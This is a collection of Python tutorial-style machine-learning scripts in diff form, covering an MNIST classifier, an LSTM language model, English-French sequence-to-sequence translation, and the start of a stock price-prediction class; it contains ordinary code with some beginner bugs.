+import torch.nn.functional as F
+import torch.optim as optim
+import matplotlib.pyplot as plt
+
+epochs = 3
+batch_size = 64
+
+# building the network now
+class Net(nn.Module):
+    def __init__(self):
+        super().__init__()
+        # takes 28x28 images
+        self.fc1 = nn.Linear(28*28, 64)
+        self.fc2 = nn.Linear(64, 64)
+        self.fc3 = nn.Linear(64, 64)
+        self.fc4 = nn.Linear(64, 10)
+
+    def forward(self, x):
+        x = F.relu(self.fc1(x))
+        x = F.relu(self.fc2(x))
+        x = F.relu(self.fc3(x))
+        x = self.fc4(x)
+        return F.log_softmax(x, dim=1)
+
+
+
+if __name__ == "__main__":
+    training_set = datasets.MNIST("", train=True, download=True,
+                            transform=transforms.Compose([
+                                transforms.ToTensor()
+                            ]))
+
+    test_set = datasets.MNIST("", train=False, download=True,
+                                transform=transforms.Compose([
+                                    transforms.ToTensor()
+                                ]))
+
+    # load the dataset
+    train = torch.utils.data.DataLoader(training_set, batch_size=batch_size, shuffle=True)
+    test = torch.utils.data.DataLoader(test_set, batch_size=batch_size, shuffle=False)
+    # construct the model
+    net = Net()
+    # specify the loss and optimizer
+    loss = nn.CrossEntropyLoss()
+    optimizer = optim.Adam(net.parameters(), lr=0.001)
+
+    # training the model
+    for epoch in range(epochs):
+        for data in train:
+            # data is the batch of data now
+            # X are the features, y are labels
+            X, y = data
+            net.zero_grad() # set gradients to 0 before loss calculation
+            output = net(X.view(-1, 28*28)) # feed data to the network
+            loss = F.nll_loss(output, y) # calculating the negative log likelihood
+            loss.backward() # back propagation
+            optimizer.step() # attempt to optimize weights to account for loss/gradients
+        print(loss)
+
+    correct = 0
+    total = 0
+    with torch.no_grad():
+        for data in test:
+            X, y = data
+            output = net(X.view(-1, 28*28))
+            for index, i in enumerate(output):
+                if torch.argmax(i) == y[index]:
+                    correct += 1
+                total += 1
+
+    print("Accuracy:", round(correct / total, 3))
+    # testing
+    print(torch.argmax(net(X.view(-1, 28*28))[0]))
+    plt.imshow(X[0].view(28, 28))
+    plt.show()
+
+
+
+
+from keras.models import Sequential
+from keras.layers import LSTM, Dropout, BatchNormalization, LeakyReLU, Dense, Activation, TimeDistributed
+from keras.layers import Bidirectional
+
+def rnn_model(input_dim, cell, num_layers, units, dropout, batch_normalization=True, bidirectional=True):
+    model = Sequential()
+    for i in range(num_layers):
+        if i == 0:
+            # first time, specify input_shape
+            if bidirectional:
+                model.add(Bidirectional(cell(units, input_shape=(None, input_dim), return_sequences=True)))
+            else:
+                model.add(cell(units, input_shape=(None, input_dim), return_sequences=True))
+            if batch_normalization:
+                model.add(BatchNormalization())
+            model.add(Dropout(dropout))
+            model.add(LeakyReLU(alpha=0.1))
+        else:
+            if bidirectional:
+                model.add(Bidirectional(cell(units, return_sequences=True)))
+            else:
+                model.add(cell(units, return_sequences=True))
+            if batch_normalization:
+                model.add(BatchNormalization())
+            model.add(Dropout(dropout))
+            model.add(LeakyReLU(alpha=0.1))
+
+    model.add(TimeDistributed(Dense(input_dim, activation="softmax")))
+
+    return model
+
+
+
+
+from utils import UNK, text_to_sequence, sequence_to_text
+from keras.preprocessing.sequence import pad_sequences
+from keras.layers import LSTM
+from models import rnn_model
+from scipy.ndimage.interpolation import shift
+import numpy as np
+
+# to use CPU
+import os
+os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID"   # see issue #152
+os.environ["CUDA_VISIBLE_DEVICES"] = "-1"
+
+import tensorflow as tf
+
+config = tf.ConfigProto(intra_op_parallelism_threads=6,
+                        inter_op_parallelism_threads=6, 
+                        allow_soft_placement=True,
+                        device_count = {'CPU' : 1,
+                                        'GPU' : 0}
+                       )
+
+INPUT_DIM = 50
+
+test_text = ""
+test_text += """college or good clerk at university has not pleasant days or used not to have them half a century ago but his position was recognized and the misery was measured can we just make something that is useful for making this happen especially when they are just doing it by"""
+
+encoded = np.expand_dims(np.array(text_to_sequence(test_text)), axis=0)
+encoded = encoded.reshape((-1, encoded.shape[0], encoded.shape[1]))
+model = rnn_model(INPUT_DIM, LSTM, 4, 380, 0.3, bidirectional=False)
+model.load_weights("results/lm_rnn_v2_6400548.3.h5")
+
+# for i in range(10):
+#     predicted_word_int = model.predict_classes(encoded)[0]
+#     print(predicted_word_int, end=',')
+#     word = sequence_to_text(predicted_word_int)
+#     encoded = shift(encoded, -1, cval=predicted_word_int)
+#     print(word, end=' ')
+print("Fed:")
+print(encoded)
+print("Result: predict")
+print(model.predict(encoded)[0])
+print("Result: predict_proba")
+print(model.predict_proba(encoded)[0])
+print("Result: predict_classes")
+print(model.predict_classes(encoded)[0])
+print(sequence_to_text(model.predict_classes(encoded)[0]))
+print()
+
+
+
+
+from models import rnn_model
+from utils import sequence_to_text, text_to_sequence, get_batches, get_data, get_text, vocab
+from keras.layers import LSTM
+from keras.callbacks import ModelCheckpoint
+
+import numpy as np
+import os
+
+INPUT_DIM = 50
+# OUTPUT_DIM = len(vocab)
+BATCH_SIZE = 128
+
+# get data
+text = get_text("data")
+encoded = np.array(text_to_sequence(text))
+print(len(encoded))
+
+# X, y = get_data(encoded, INPUT_DIM, 1)
+
+# del text, encoded
+
+model = rnn_model(INPUT_DIM, LSTM, 4, 380, 0.3, bidirectional=False)
+
+model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"])
+model.summary()
+if not os.path.isdir("results"):
+    os.mkdir("results")
+
+checkpointer = ModelCheckpoint("results/lm_rnn_v2_{loss:.1f}.h5", verbose=1)
+
+steps_per_epoch = (len(encoded) // 100) // BATCH_SIZE
+
+model.fit_generator(get_batches(encoded, BATCH_SIZE, INPUT_DIM),
+                    epochs=100,
+                    callbacks=[checkpointer],
+                    verbose=1,
+                    steps_per_epoch=steps_per_epoch)
+model.save("results/lm_rnn_v2_final.h5")
+
+
+
+
+import numpy as np
+import os
+import tqdm
+import inflect
+from string import punctuation, whitespace
+from word_forms.word_forms import get_word_forms
+
+p = inflect.engine()
+
+UNK = ""
+vocab = set()
+add = vocab.add
+# add unk 
+add(UNK)
+
+with open("data/vocab1.txt") as f:
+    for line in f:
+        add(line.strip())
+
+vocab = sorted(vocab)
+word2int = {w: i for i, w in enumerate(vocab)}
+int2word = {i: w for i, w in enumerate(vocab)}
+
+
+def update_vocab(word):
+    global vocab
+    global word2int
+    global int2word
+
+    vocab.add(word)
+    next_int = max(int2word) + 1
+    word2int[word] = next_int
+    int2word[next_int] = word
+
+
+def save_vocab(_vocab):
+    with open("vocab1.txt", "w") as f:
+        for w in sorted(_vocab):
+            print(w, file=f)
+
+
+def text_to_sequence(text):
+    return [ word2int[word] for word in text.split() ]
+
+
+def sequence_to_text(seq):
+    return ' '.join([ int2word[i] for i in seq ])
+
+
+def get_batches(arr, batch_size, n_steps):
+    '''Create a generator that returns batches of size
+       batch_size x n_steps from arr.
+       
+       Arguments
+       ---------
+       arr: Array you want to make batches from
+       batch_size: Batch size, the number of sequences per batch
+       n_steps: Number of sequence steps per batch
+    '''
+    chars_per_batch = batch_size * n_steps
+    n_batches = len(arr) // chars_per_batch
+
+    arr = arr[:chars_per_batch * n_batches]
+
+    arr = arr.reshape((batch_size, -1))
+    while True:
+        for n in range(0, arr.shape[1], n_steps):
+            x = arr[:, n: n+n_steps]
+            y_temp = arr[:, n+1:n+n_steps+1]
+            y = np.zeros(x.shape, dtype=y_temp.dtype)
+            y[:, :y_temp.shape[1]] = y_temp
+            yield x.reshape(1, x.shape[0], x.shape[1]), y.reshape(1, y.shape[0], y.shape[1])
+
+
+def get_data(arr, n_seq, look_forward):
+
+    n_samples = len(arr) // n_seq
+    X = np.zeros((n_seq, n_samples))
+    Y = np.zeros((n_seq, n_samples))
+
+    for index, i in enumerate(range(0, n_samples*n_seq, n_seq)):
+        x = arr[i:i+n_seq]
+        y = arr[i+look_forward:i+n_seq+look_forward]
+        if len(x) != n_seq or len(y) != n_seq:
+            break
+        X[:, index] = x
+        Y[:, index] = y
+    return X.T.reshape(1, X.shape[1], X.shape[0]), Y.T.reshape(1, Y.shape[1], Y.shape[0])
+
+
+def get_text(path, files=["carroll-alice.txt", "text.txt", "text8.txt"]):
+    global vocab
+    global word2int
+    global int2word
+
+    text = ""
+    file = files[0]
+    for file in tqdm.tqdm(files, "Loading data"):
+        file = os.path.join(path, file)
+        with open(file, encoding="utf8") as f:
+            text += f.read().lower()
+    
+    punc = set(punctuation)
+
+    text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c not in punc ])
+    for ws in whitespace:
+        text = text.replace(ws, " ")
+    text = text.split()
+
+    co = 0
+    vocab_set = set(vocab)
+    for i in tqdm.tqdm(range(len(text)), "Normalizing words"):
+        # convert digits to words
+        # (i.e '7' to 'seven')
+        if text[i].isdigit():
+            text[i] = p.number_to_words(text[i])
+        # compare_nouns
+        # compare_adjs
+        # compare_verbs
+        if text[i] not in vocab_set:
+            text[i] = UNK
+            co += 1
+    # update vocab, intersection of words
+    print("vocab length:", len(vocab))
+    vocab = vocab_set & set(text)
+    print("vocab length after update:", len(vocab))
+    save_vocab(vocab)
+    print("Number of unks:", co)
+    return ' '.join(text)
+
+
+
+
+from train import create_model, get_data, split_data, LSTM_UNITS, np, to_categorical, Tokenizer, pad_sequences, pickle
+
+
+def tokenize(x, tokenizer=None):
+    """Tokenize x
+    :param x: List of sentences/strings to be tokenized
+    :return: Tuple of (tokenized x data, tokenizer used to tokenize x)"""
+    if tokenizer:
+        t = tokenizer
+    else:
+        t = Tokenizer()
+    t.fit_on_texts(x)
+    return t.texts_to_sequences(x), t
+
+
+def predict_sequence(enc, dec, source, n_steps, docoder_num_tokens):
+    """Generate target given source sequence, this function can be used
+    after the model is trained to generate a target sequence given a source sequence."""
+    # encode
+    state = enc.predict(source)
+    # start of sequence input
+    target_seq = np.zeros((1, 1, n_steps))
+    # collect predictions
+    output = []
+    for t in range(n_steps):
+        # predict next char
+        yhat, h, c = dec.predict([target_seq] + state)
+        # store predictions
+        y = yhat[0, 0, :]
+
+        sampled_token_index = np.argmax(y)
+        output.append(sampled_token_index)
+        # update state
+        state = [h, c]
+        # update target sequence
+        target_seq = np.zeros((1, 1, n_steps))
+        target_seq[0, 0] = to_categorical(sampled_token_index, num_classes=n_steps)
+        
+    return np.array(output)
+
+
+def logits_to_text(logits, index_to_words):
+    """
+    Turn logits from a neural network into text using the tokenizer
+    :param logits: Logits from a neural network
+    :param tokenizer: Keras Tokenizer fit on the labels
+    :return: String that represents the text of the logits
+    """
+    return ' '.join([index_to_words[prediction] for prediction in logits])
+
+# load the data
+X, y, X_tk, y_tk, source_sequence_length, target_sequence_length = get_data("fra.txt")
+
+X_tk = pickle.load(open("X_tk.pickle", "rb"))
+y_tk = pickle.load(open("y_tk.pickle", "rb"))
+
+model, enc, dec = create_model(source_sequence_length, target_sequence_length, LSTM_UNITS)
+
+model.load_weights("results/eng_fra_v1_17568.086.h5")
+
+while True:
+    text = input("> ")
+    tokenized = np.array(tokenize([text], tokenizer=X_tk)[0])
+    print(tokenized.shape)
+    X = pad_sequences(tokenized, maxlen=source_sequence_length, padding="post")
+    X = X.reshape((1, 1, X.shape[-1]))
+    print(X.shape)
+    # X = to_categorical(X, num_classes=len(X_tk.word_index) + 1)
+    print(X.shape)
+    sequence = predict_sequence(enc, dec, X, target_sequence_length, source_sequence_length)
+
+    result = logits_to_text(sequence, y_tk.index_word)
+    print(result)
+
+
+
+
+from tensorflow.keras.models import Model
+from tensorflow.keras.layers import Input, LSTM, GRU, Dense, Embedding, Activation, Dropout, Sequential, RepeatVector
+from tensorflow.keras.layers import TimeDistributed
+from tensorflow.keras.preprocessing.text import Tokenizer
+from tensorflow.keras.preprocessing.sequence import pad_sequences
+from tensorflow.keras.utils import to_categorical, plot_model
+from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard
+import numpy as np
+import matplotlib.pyplot as plt
+import os
+import pickle
+
+# hyper parameters
+BATCH_SIZE = 32
+EPOCHS = 10
+LSTM_UNITS = 128
+
+def create_encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size):
+    model = Sequential()
+    model.add(LSTM(LSTM_UNITS), input_shape=input_shape[1:])
+    model.add(RepeatVector(output_sequence_length))
+    model.add(LSTM(LSTM_UNITS), return_sequences=True)
+    model.add(TimeDistributed(Dense(french_vocab_size, activation="softmax")))
+    model.compile(loss="sparse_categorical_crossentropy", optimizer="adam", metrics=["categorical_accuracy"])
+    return model
+    
+
+def create_model(num_encoder_tokens, num_decoder_tokens, latent_dim):
+    # define an input sequence
+    encoder_inputs = Input(shape=(None, num_encoder_tokens))
+    encoder = LSTM(latent_dim, return_state=True)
+    # define the encoder output
+    encoder_outputs, state_h, state_c = encoder(encoder_inputs)
+    encoder_states = [state_h, state_c]
+    # encoder inference model
+    encoder_model = Model(encoder_inputs, encoder_states)
+
+    # set up the decoder now
+    decoder_inputs = Input(shape=(None, num_decoder_tokens))
+    decoder_lstm = LSTM(latent_dim, return_sequences=True, return_state=True)
+    decoder_outputs, _, _ = decoder_lstm(decoder_inputs, initial_state=encoder_states)
+    decoder_dense = Dense(num_decoder_tokens, activation="softmax")
+    decoder_outputs = decoder_dense(decoder_outputs)
+    # decoder inference model
+    decoder_state_input_h = Input(shape=(latent_dim,))
+    decoder_state_input_c = Input(shape=(latent_dim,))
+    decoder_state_inputs = [decoder_state_input_h, decoder_state_input_c]
+
+    model = Model([encoder_inputs, decoder_inputs], decoder_outputs)
+
+    decoder_outputs, state_h, state_c = decoder_lstm(decoder_inputs, initial_state=decoder_state_inputs)
+    decoder_states = [state_h, state_c]
+    decoder_model = Model([decoder_inputs] + decoder_state_inputs, [decoder_outputs] + decoder_states)
+
+    return model, encoder_model, decoder_model
+
+
+def get_batches(X, y, X_tk, y_tk, source_sequence_length, target_sequence_length, batch_size=BATCH_SIZE):
+    # get total number of words in X
+    num_encoder_tokens = len(X_tk.word_index) + 1
+    # get max number of words in all sentences in y
+    num_decoder_tokens = len(y_tk.word_index) + 1
+
+    while True:
+        for j in range(0, len(X), batch_size):
+            encoder_input_data = X[j: j+batch_size]
+            decoder_input_data = y[j: j+batch_size]
+            # redefine batch size 
+            # it may differ (in last batch of dataset)
+            batch_size = encoder_input_data.shape[0]
+
+            # one-hot everything
+            # decoder_target_data = np.zeros((batch_size, num_decoder_tokens, target_sequence_length), dtype=np.uint8)
+            # encoder_data = np.zeros((batch_size, source_sequence_length, num_encoder_tokens), dtype=np.uint8)
+            # decoder_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens), dtype=np.uint8)
+            encoder_data = np.expand_dims(encoder_input_data, axis=1)
+            decoder_data = np.expand_dims(decoder_input_data, axis=1)
+
+            # for i, sequence in enumerate(decoder_input_data):
+            #     for t, word_index in enumerate(sequence):
+            #         # skip the first
+            #         if t > 0:
+            #             decoder_target_data[i, t-1, word_index] = 1
+                    # decoder_data[i, t, word_index] = 1
+        
+            # for i, sequence in enumerate(encoder_input_data):
+            #     for t, word_index in enumerate(sequence):
+            #         encoder_data[i, t, word_index] = 1
+                    
+            yield ([encoder_data, decoder_data], decoder_input_data)
+
+    
+def get_data(file):
+    X = []
+    y = []
+    # loading the data
+    for line in open(file, encoding="utf-8"):
+        if "\t" not in line:
+            continue
+
+        # split by tab
+        line = line.strip().split("\t")
+        input = line[0]
+        output = line[1]
+        output = f"{output} "
+        output_sentence_input = f" {output}"
+        X.append(input)
+        y.append(output)
+
+    # tokenize data
+    X_tk = Tokenizer()
+    X_tk.fit_on_texts(X)
+    X = X_tk.texts_to_sequences(X)
+
+    y_tk = Tokenizer()
+    y_tk.fit_on_texts(y)
+    y = y_tk.texts_to_sequences(y)
+
+    # define the max sequence length for X
+    source_sequence_length = max(len(x) for x in X)
+    # define the max sequence length for y
+    target_sequence_length = max(len(y_) for y_ in y)
+    # padding sequences
+    X = pad_sequences(X, maxlen=source_sequence_length, padding="post")
+    y = pad_sequences(y, maxlen=target_sequence_length, padding="post")
+
+    return X, y, X_tk, y_tk, source_sequence_length, target_sequence_length
+
+
+def shuffle_data(X, y):
+    """
+    Shuffles X & y and preserving their pair order
+    """
+    state = np.random.get_state()
+    np.random.shuffle(X)
+    np.random.set_state(state)
+    np.random.shuffle(y)
+    return X, y
+
+
+def split_data(X, y, train_split_rate=0.2):
+    # shuffle first
+    X, y = shuffle_data(X, y)
+    training_samples = round(len(X) * train_split_rate)
+    return X[:training_samples], y[:training_samples], X[training_samples:], y[training_samples:]
+    
+
+
+if __name__ == "__main__":
+    # load the data
+    X, y, X_tk, y_tk, source_sequence_length, target_sequence_length = get_data("fra.txt")
+    # save tokenizers
+    pickle.dump(X_tk, open("X_tk.pickle", "wb"))
+    pickle.dump(y_tk, open("y_tk.pickle", "wb"))
+    # shuffle & split data
+    X_train, y_train, X_test, y_test = split_data(X, y)
+    # construct the models
+    model, enc, dec = create_model(source_sequence_length, target_sequence_length, LSTM_UNITS)
+    plot_model(model, to_file="model.png")
+    plot_model(enc, to_file="enc.png")
+    plot_model(dec, to_file="dec.png")
+    model.summary()
+
+    model.compile(optimizer="adam", loss="categorical_crossentropy", metrics=["accuracy"])
+
+    if not os.path.isdir("results"):
+        os.mkdir("results")
+
+    checkpointer = ModelCheckpoint("results/eng_fra_v1_{val_loss:.3f}.h5", save_best_only=True, verbose=2)
+    # train the model
+    model.fit_generator(get_batches(X_train, y_train, X_tk, y_tk, source_sequence_length, target_sequence_length),
+                        validation_data=get_batches(X_test, y_test, X_tk, y_tk, source_sequence_length, target_sequence_length),
+                        epochs=EPOCHS, steps_per_epoch=(len(X_train) // BATCH_SIZE),
+                        validation_steps=(len(X_test) // BATCH_SIZE),
+                        callbacks=[checkpointer])
+    
+    print("[+] Model trained.")
+    model.save("results/eng_fra_v1.h5")
+    print("[+] Model saved.")
+
+
+
+
+from tensorflow.keras.preprocessing.text import Tokenizer
+from tensorflow.keras.preprocessing.sequence import pad_sequences
+from tensorflow.keras.models import Model, Sequential
+from tensorflow.keras.layers import GRU, Input, Dense, TimeDistributed, Activation, RepeatVector, Bidirectional, Flatten
+from tensorflow.keras.layers import Dropout, LSTM
+from tensorflow.keras.optimizers import Adam
+from tensorflow.keras.losses import sparse_categorical_crossentropy
+import collections
+import numpy as np
+
+LSTM_UNITS = 128
+
+def get_data(file):
+    X = []
+    y = []
+    # loading the data
+    for line in open(file, encoding="utf-8"):
+        if "\t" not in line:
+            continue
+        # split by tab
+        line = line.strip().split("\t")
+        input = line[0]
+        output = line[1]
+        X.append(input)
+        y.append(output)
+    return X, y
+
+
+def create_encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size):
+    model = Sequential()
+    model.add(LSTM(LSTM_UNITS, input_shape=input_shape[1:]))
+    model.add(RepeatVector(output_sequence_length))
+    model.add(LSTM(LSTM_UNITS, return_sequences=True))
+    model.add(TimeDistributed(Dense(french_vocab_size, activation="softmax")))
+    model.compile(loss="sparse_categorical_crossentropy", optimizer="adam", metrics=["categorical_accuracy"])
+    return model
+
+
+def tokenize(x):
+    """
+    Tokenize x
+    :param x: List of sentences/strings to be tokenized
+    :return: Tuple of (tokenized x data, tokenizer used to tokenize x)
+    """
+    # TODO: Implement
+    t = Tokenizer()
+    t.fit_on_texts(x)
+    return t.texts_to_sequences(x), t
+
+
+def pad(x, length=None):
+    """
+    Pad x
+    :param x: List of sequences.
+    :param length: Length to pad the sequence to.  If None, use length of longest sequence in x.
+    :return: Padded numpy array of sequences
+    """
+    # TODO: Implement
+    sequences = pad_sequences(x, maxlen=length, padding='post')
+    return sequences
+
+
+def preprocess(x, y):
+    """
+    Preprocess x and y
+    :param x: Feature List of sentences
+    :param y: Label List of sentences
+    :return: Tuple of (Preprocessed x, Preprocessed y, x tokenizer, y tokenizer)
+    """
+    preprocess_x, x_tk = tokenize(x)
+    preprocess_y, y_tk = tokenize(y)
+
+    preprocess_x = pad(preprocess_x)
+    preprocess_y = pad(preprocess_y)
+
+    # Keras's sparse_categorical_crossentropy function requires the labels to be in 3 dimensions
+    preprocess_y = preprocess_y.reshape(*preprocess_y.shape, 1)
+
+    return preprocess_x, preprocess_y, x_tk, y_tk
+
+
+def logits_to_text(logits, tokenizer):
+    """
+    Turn logits from a neural network into text using the tokenizer
+    :param logits: Logits from a neural network
+    :param tokenizer: Keras Tokenizer fit on the labels
+    :return: String that represents the text of the logits
+    """
+    index_to_words = {id: word for word, id in tokenizer.word_index.items()}
+    index_to_words[0] = ''
+
+    return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)])
+
+
+if __name__ == "__main__":
+    X, y = get_data("ara.txt")
+    english_words = [word for sentence in X for word in sentence.split()]
+    french_words = [word for sentence in y for word in sentence.split()]
+    english_words_counter = collections.Counter(english_words)
+    french_words_counter = collections.Counter(french_words)
+
+    print('{} English words.'.format(len(english_words)))
+    print('{} unique English words.'.format(len(english_words_counter)))
+    print('10 Most common words in the English dataset:')
+    print('"' + '" "'.join(list(zip(*english_words_counter.most_common(10)))[0]) + '"')
+    print()
+    print('{} French words.'.format(len(french_words)))
+    print('{} unique French words.'.format(len(french_words_counter)))
+    print('10 Most common words in the French dataset:')
+    print('"' + '" "'.join(list(zip(*french_words_counter.most_common(10)))[0]) + '"')
+
+    # Tokenize Example output
+    text_sentences = [
+        'The quick brown fox jumps over the lazy dog .',
+        'By Jove , my quick study of lexicography won a prize .',
+        'This is a short sentence .']
+    text_tokenized, text_tokenizer = tokenize(text_sentences)
+    print(text_tokenizer.word_index)
+    print()
+    for sample_i, (sent, token_sent) in enumerate(zip(text_sentences, text_tokenized)):
+        print('Sequence {} in x'.format(sample_i + 1))
+        print('  Input:  {}'.format(sent))
+        print('  Output: {}'.format(token_sent))
+
+    # Pad Tokenized output
+    test_pad = pad(text_tokenized)
+    for sample_i, (token_sent, pad_sent) in enumerate(zip(text_tokenized, test_pad)):
+        print('Sequence {} in x'.format(sample_i + 1))
+        print('  Input:  {}'.format(np.array(token_sent)))
+        print('  Output: {}'.format(pad_sent))
+
+    preproc_english_sentences, preproc_french_sentences, english_tokenizer, french_tokenizer =\
+    preprocess(X, y)
+    
+    max_english_sequence_length = preproc_english_sentences.shape[1]
+    max_french_sequence_length = preproc_french_sentences.shape[1]
+    english_vocab_size = len(english_tokenizer.word_index)
+    french_vocab_size = len(french_tokenizer.word_index)
+
+    print('Data Preprocessed')
+    print("Max English sentence length:", max_english_sequence_length)
+    print("Max French sentence length:", max_french_sequence_length)
+    print("English vocabulary size:", english_vocab_size)
+    print("French vocabulary size:", french_vocab_size)
+
+    tmp_x = pad(preproc_english_sentences, preproc_french_sentences.shape[1])
+    tmp_x = tmp_x.reshape((-1, preproc_french_sentences.shape[-2], 1))
+    print("tmp_x.shape:", tmp_x.shape)
+    print("preproc_french_sentences.shape:", preproc_french_sentences.shape)
+
+    # Train the neural network
+    # increased passed index length by 1 to avoid index error
+    encdec_rnn_model = create_encdec_model(
+        tmp_x.shape,
+        preproc_french_sentences.shape[1],
+        len(english_tokenizer.word_index)+1,
+        len(french_tokenizer.word_index)+1)
+    print(encdec_rnn_model.summary())
+    # reduced batch size
+    encdec_rnn_model.fit(tmp_x, preproc_french_sentences, batch_size=256, epochs=3, validation_split=0.2)
+
+    # Print prediction(s)
+    print(logits_to_text(encdec_rnn_model.predict(tmp_x[1].reshape((1, tmp_x[1].shape[0], 1, )))[0], french_tokenizer))
+    print("Original text and translation:")
+    print(X[1])
+    print(y[1])
+    # OPTIONAL: Train and Print prediction(s)
+    print("="*50)
+    # Print prediction(s)
+    print(logits_to_text(encdec_rnn_model.predict(tmp_x[10].reshape((1, tmp_x[1].shape[0], 1, ))[0]), french_tokenizer))
+    print("Original text and translation:")
+    print(X[10])
+    print(y[10])
+    # OPTIONAL: Train and Print prediction(s)
+
+
+
+
+from tensorflow.keras.layers import LSTM, Dense, Dropout
+from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard
+from sklearn.metrics import mean_absolute_error, mean_squared_error, accuracy_score
+import os
+import time
+import glob
+import numpy as np
+import pandas as pd
+import matplotlib.pyplot as plt
+
+from utils import classify, shift, create_model, load_data
+
+class PricePrediction:
+    """A Class utility to train and predict price of stocks/cryptocurrencies/trades
+        using keras model"""
+    def __init__(self, ticker_name, **kwargs):
+        """
+        :param ticker_name (str): ticker name, e.g. aapl, nflx, etc.
+        :param n_steps (int): sequence length used to predict, default is 60
+        :param price_column (str): the name of column that contains price predicted, default is 'adjclose'
+        :param feature_columns (list): a list of feature column names used to train the model, 
+            default is ['adjclose', 'volume', 'open', 'high', 'low']
+        :param target_column (str): target column name, default is 'future'
+        :param lookup_step (int): the future lookup step to predict, default is 1 (e.g. next day)
+        :param shuffle (bool): whether to shuffle the dataset, default is True
+        :param verbose (int): verbosity level, default is 1
+        ==========================================
+        Model parameters
+        :param n_layers (int): number of recurrent neural network layers, default is 3
+        :param cell (keras.layers.RNN): RNN cell used to train keras model, default is LSTM
+        :param units (int): number of units of cell, default is 256
+        :param dropout (float): dropout rate ( from 0 to 1 ), default is 0.3
+        ==========================================
+        Training parameters
+        :param batch_size (int): number of samples per gradient update, default is 64
+        :param epochs (int): number of epochs, default is 100
+        :param optimizer (str, keras.optimizers.Optimizer): optimizer used to train, default is 'adam'
+        :param loss (str, function): loss function used to minimize during training,
+            default is 'mae'
+        :param test_size (float): test size ratio from 0 to 1, default is 0.15
+        """
+        self.ticker_name = ticker_name
+        self.n_steps = kwargs.get("n_steps", 60)
+        self.price_column = kwargs.get("price_column", 'adjclose')
+        self.feature_columns = kwargs.get("feature_columns", ['adjclose', 'volume', 'open', 'high', 'low'])
+        self.target_column = kwargs.get("target_column", "future")
+        self.lookup_step = kwargs.get("lookup_step", 1)
+        self.shuffle = kwargs.get("shuffle", True)
+        self.verbose = kwargs.get("verbose", 1)
+
+        self.n_layers = kwargs.get("n_layers", 3)
+        self.cell = kwargs.get("cell", LSTM)
+        self.units = kwargs.get("units", 256)
+        self.dropout = kwargs.get("dropout", 0.3)
+
+        self.batch_size = kwargs.get("batch_size", 64)
+        self.epochs = kwargs.get("epochs", 100)
+        self.optimizer = kwargs.get("optimizer", "adam")
+        self.loss = kwargs.get("loss", "mae")
+        self.test_size = kwargs.get("test_size", 0.15)
+
+        # create unique model name
+        self._update_model_name()
+
+        # runtime attributes
+        self.model_trained = False
+        self.data_loaded = False
+        self.model_created = False
+
+        # test price values
+        self.test_prices = None
+        # predicted price values for the test set
+        self.y_pred = None
+
+        # prices converted to buy/sell classes
+        self.classified_y_true = None
+        # predicted prices converted to buy/sell classes
+        self.classified_y_pred = None
+
+        # most recent price
+        self.last_price = None
+
+        # make folders if does not exist
+        if not os.path.isdir("results"):
+            os.mkdir("results")
+
+        if not os.path.isdir("logs"):
+            os.mkdir("logs")
+
+        if not os.path.isdir("data"):
+            os.mkdir("data")
+
+    def create_model(self):
+        """Construct and compile the keras model"""
+        self.model = create_model(input_length=self.n_steps,
+                                    units=self.units,
+                                    cell=self.cell,
+                                    dropout=self.dropout,
+                                    n_layers=self.n_layers,
+                                    loss=self.loss,
+                                    optimizer=self.optimizer)
+        self.model_created = True
+        if self.verbose > 0:
+            print("[+] Model created")
+
+    def train(self, override=False):
+        """Train the keras model using self.checkpointer and self.tensorboard as keras callbacks.
+        If model created already trained, this method will load the weights instead of training from scratch.
+        Note that this method will create the model and load data if not called before."""
+        
+        # if model isn't created yet, create it
+        if not self.model_created:
+            self.create_model()
+
+        # if data isn't loaded yet, load it
+        if not self.data_loaded:
+            self.load_data()
+
+        # if the model already exists and trained, just load the weights and return
+        # but if override is True, then just skip loading weights
+        if not override:
+            model_name = self._model_exists()
+            if model_name:
+                self.model.load_weights(model_name)
+                self.model_trained = True
+                if self.verbose > 0:
+                    print("[*] Model weights loaded")
+                return
+        
+        if not os.path.isdir("results"):
+            os.mkdir("results")
+
+        if not os.path.isdir("logs"):
+            os.mkdir("logs")
+
+        model_filename = self._get_model_filename()
+
+        self.checkpointer = ModelCheckpoint(model_filename, save_best_only=True, verbose=1)
+        self.tensorboard = TensorBoard(log_dir=f"logs\{self.model_name}")
+
+        self.history = self.model.fit(self.X_train, self.y_train,
+                        batch_size=self.batch_size,
+                        epochs=self.epochs,
+                        validation_data=(self.X_test, self.y_test),
+                        callbacks=[self.checkpointer, self.tensorboard],
+                        verbose=1)
+        
+        self.model_trained = True
+        if self.verbose > 0:
+            print("[+] Model trained")
+
+    def predict(self, classify=False):
+        """Predicts next price for the step self.lookup_step.
+            when classify is True, returns 0 for sell and 1 for buy"""
+        if not self.model_trained:
+            raise RuntimeError("Model is not trained yet, call model.train() first.")
+        # reshape to fit the model input
+        last_sequence = self.last_sequence.reshape((self.last_sequence.shape[1], self.last_sequence.shape[0]))
+        # expand dimension
+        last_sequence = np.expand_dims(last_sequence, axis=0)
+        predicted_price = self.column_scaler[self.price_column].inverse_transform(self.model.predict(last_sequence))[0][0]
+        if classify:
+            last_price = self.get_last_price()
+            return 1 if last_price < predicted_price else 0
+        else:
+            return predicted_price
+
+    def load_data(self):
+        """Loads and preprocess data"""
+        filename, exists = self._df_exists()
+        if exists:
+            # if the updated dataframe already exists in disk, load it
+            self.ticker = pd.read_csv(filename)
+            ticker = self.ticker
+            if self.verbose > 0:
+                print("[*] Dataframe loaded from disk")
+        else:
+            ticker = self.ticker_name
+
+        result = load_data(ticker,n_steps=self.n_steps, lookup_step=self.lookup_step,
+                            shuffle=self.shuffle, feature_columns=self.feature_columns,
+                            price_column=self.price_column, test_size=self.test_size)
+        
+        # extract data
+        self.df = result['df']
+        self.X_train = result['X_train']
+        self.X_test = result['X_test']
+        self.y_train = result['y_train']
+        self.y_test = result['y_test']
+        self.column_scaler = result['column_scaler']
+        self.last_sequence = result['last_sequence']      
+
+        if self.shuffle:
+            self.unshuffled_X_test = result['unshuffled_X_test']
